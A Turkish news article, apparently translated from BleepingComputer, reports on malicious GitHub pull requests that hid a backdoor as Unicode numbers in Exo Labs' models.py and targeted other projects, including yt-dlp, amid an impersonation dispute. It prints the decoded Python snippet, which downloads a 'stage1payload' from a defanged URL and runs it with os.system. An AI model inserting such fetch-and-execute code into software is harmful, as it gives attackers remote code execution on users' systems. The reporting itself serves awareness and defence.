GitHub projeleri, bu projelere arka kapılar enjekte etmek amacıyla kötü niyetli taahhütler ve çekme istekleriyle hedef alındı.
Son zamanlarda, bir yapay zeka ve makine öğrenimi girişimi olan Exo Labs’ın GitHub deposu saldırıda hedef alındı ve bu da birçok kişinin saldırganın gerçek niyetini merak etmesine neden oldu.
‘Masum görünümlü halkla ilişkiler’ arka kapı enjekte ederken yakalandı
Salı günü, EXO Labs kurucu ortağı Alex Cheema, herkesi EXO’nun GitHub deposuna gönderilen “masum görünen” bir kod değişikliği konusunda uyardı.
“Deepseek modelleri için mlx gereksinimini netleştirin” başlıklı çekme isteği, Exo’nun kod tabanındaki models.py Python dosyasını bir dizi sayı ekleyerek değiştirmeye çalıştı:
Arka kapı denemesi açık @exolabs masum görünen bir PR aracılığıyla.
Kodun her satırını okuyun. Güvenli kalın. pic.twitter.com/M0WHoCF5Mu
— Alex Cheema – e/acc (@alexocheema) 12 Kasım 2024
Bunlar, her biri bir karakteri temsil eden Unicode sayılardır. Başka bir deyişle, düz metin Python kodu, kod değişikliğini gönderen kullanıcının kullandığı basit bir teknikle sayı eşdeğeri formuna dönüştürülmüştür.
Bu “105, 109, 112, 111, 114, 116,…” karakter dizisi, aşağıdaki kod pasajına dönüşür (URL, güvenlik amacıyla silinmiştir):
import os
import urllib
import urllib.request
x = urllib.request.urlopen("hxxps://www.evildojo[.]com/stage1payload")
y = x.read()
z = y.decode("utf8")
x.close()
os.system(z)
Oldukça karmaşık olmayan kod parçası evildojo(.)com’a bağlanmaya ve göründüğü gibi “stage1” yükünü indirmeye çalışıyor.
Kod değişikliği onaylanıp EXO’nun resmi deposuyla birleştirilmiş olsaydı (ki öyle olmadı), ürünü kullanan herkes kendi sistemlerinde URL tarafından uzaktan sunulan kodu çalıştırabilir ve dolayısıyla işlevsel bir arka kapı implante edilebilir.
Ancak BleepingComputer tarafından erişildiğinde bağlantı 404 (Bulunamadı) sonucunu verdi ve URL’ye erişmeye çalışan diğer birkaç kişiye göre, bu konumda başından beri hiçbir içerik mevcut değildi.
Arkasında kim ve neden var?
İşin zorlaştığı yer burası ve görünürde kesin bir cevap yok.
Taahhüdün, o zamandan beri silinmiş olan GitHub kullanıcısı “evildojo666” tarafından gönderildiği görülüyor.
GitHub kullanıcı adı ve evildojo(.)com etki alanı için arşivlenen sayfa, bu taahhütlerle herhangi bir ilgisi olduğunu ısrarla reddeden Teksas merkezli güvenlik araştırmacısı, etik hacker ve yazılım mühendisi Mike Bell’e işaret ediyor.
Bell, birisinin kendisini taklit ettiğini ve bu kötü niyetli kod gönderimlerini onu karalamak için yaptığını iddia ediyor.
Bell ayrıca şunu belirtti: “Hiçbir zaman herhangi bir yük olmadı… neden insanlar orada olduğunu varsaymaya devam ediyor?”
Adil olmak gerekirse Bell’in hikayesi mantıklı. Herkes başka bir kişinin ayrıntılarını ve profil resmini kullanarak önemsiz bir GitHub hesabı oluşturabilir ve başka bir kişinin kisvesi altında kod değişiklikleri göndermeye ve projelere çekme istekleri göndermeye başlayabilir.
Evildojo’nun alan adında var olmayan “stage1payload” sayfası, alan adının ilk etapta hiçbir kötü amaçlı kod sunmaması nedeniyle bunun, alan adı sahibi Mike Bell’e karşı bir karalama kampanyası olabileceğinin bir başka göstergesidir.
Artık silinmiş olan bir başka GitHub hesabı olan “darkimage666”, kötü amaçlı yazılım analizi ve tersine mühendislik platformu Malcoreio tarafından tespit edildi. Bu hesap aynı zamanda Bell’in kimliğine büründü ve arka kapı taahhütlerini açık kaynaklı projelere dağıtmak için bu kötü niyetli çabaya giriştiği ortaya çıktı.
Sahtekar hesapta Bell, “Ben değilim, bir taklitçi. Dikkat hesap silindi. İnsanların benimle birlikte bir kavgaya sürüklenmeleri için çok üzgünüm” dedi.
Birden fazla proje hedeflendi
ChrzanKong da dahil olmak üzere sosyal medya kullanıcıları, benzer taahhütlere sahip farklı GitHub kullanıcı hesapları tarafından başka bazı projelerin hedef alındığını belirtti.
Tehdit istihbaratı analistine göre vx-yeraltıPopüler bir açık kaynak ses ve video indiricisi olan “yt-dlp” de hedef alındı. Malcore, diğer projelere yönelik en az 18 aynı çekme isteği örneğini tespit etti.
Bu yazının yazıldığı sırada BleepingComputer, bu tür pek çok kötü niyetli işlemin ve bunlarla ilişkili “muppet” GitHub kullanıcı hesaplarının (bazıları Endonezya merkezli gibi görünüyor) kaldırıldığını gözlemledi.
Google mühendisi ve teknoloji etkinlikleri lideri Bogdan Stanga, deponuza gelen çekme isteklerine karşı anında kod incelemeleri gerçekleştirmek için GitHub Eylemlerini kullanan Presubmit’in AI İnceleyicisini test etmek için çekme isteğini yeniden oluşturmayı başardı. Test kodu değişikliği, incelemeyi yapan kişi tarafından anında “kritik güvenlik” uyarısıyla işaretlendi:
Olay, her ne kadar erken yakalanıp bastırılmış olsa da, yakın zamanda kötü amaçlı kodların, hain aktörler tarafından meşru ve yaygın olarak popüler olan açık kaynak kitaplıklara nasıl gizlice sokulabileceğini gösteren dikkate değer xz tedarik zinciri saldırısının yankılarını taşıyor.
Açık kaynak proje yürütücülerinden, gelen çekme isteklerini, otomatik araçlar ve kapsamlı insan kodu incelemeleri yoluyla, bunlar “iyi niyetli” katkıda bulunanlardan geliyor gibi görünse bile, dikkatli bir şekilde incelemeye teşvik edilmektedir.